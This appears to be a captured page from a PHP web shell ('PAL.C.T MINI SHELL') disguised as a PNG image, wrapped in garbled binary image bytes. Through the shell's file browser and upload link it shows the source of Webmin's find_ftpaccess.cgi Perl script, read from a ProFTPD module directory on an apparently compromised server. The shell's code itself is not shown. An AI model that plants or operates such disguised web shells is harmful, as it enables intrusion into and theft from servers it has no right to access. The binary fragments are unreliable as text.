php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/proftpd/
upload
files >> //usr/libexec/webmin/proftpd/find_ftpaccess.cgi

#!/usr/bin/perl
# find_ftpaccess.cgi
# Finds all per-directory options files under the all the document roots

require './proftpd-lib.pl';
&ReadParse();
@rv = grep { -r $_ } @ftpaccess_files;
&error_setup($text{'find_err'});

if ($in{'from'}) {
	# Look under the given directory
	@dirs = ( $in{'dir'} );
	}
else {
	# Look in Anonymous sections
	$conf = &get_config();
	$anon = &find_directive("Anonymous", $conf);
	push(@dirs, $anon) if ($anon);
	foreach $v (&find_directive_struct("VirtualHost", $conf)) {
		$anon = &find_directive("Anonymous", $v->{'members'});
		push(@dirs, $anon) if ($anon);
		}
	&error($text{'find_eanon'}) if (!@dirs);
	}

foreach $d (@dirs) {
	if ($d =~ /^~(\S+)$/) {
		local @u = getpwnam($1);
		$d = $u[7];
		next if (!$u[7]);
		}
	open(FIND, "find ".quotemeta($d)." -name .ftpaccess -print |");
	while(<FIND>) {
		s/\r|\n//g;
		push(@rv, $_);
		}
	close(FIND);
	}

# save results
$site{'ftpaccess'} = join(' ', &unique(@rv));
&write_file("$module_config_directory/site", \%site);
&redirect("ftpaccess.cgi");

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`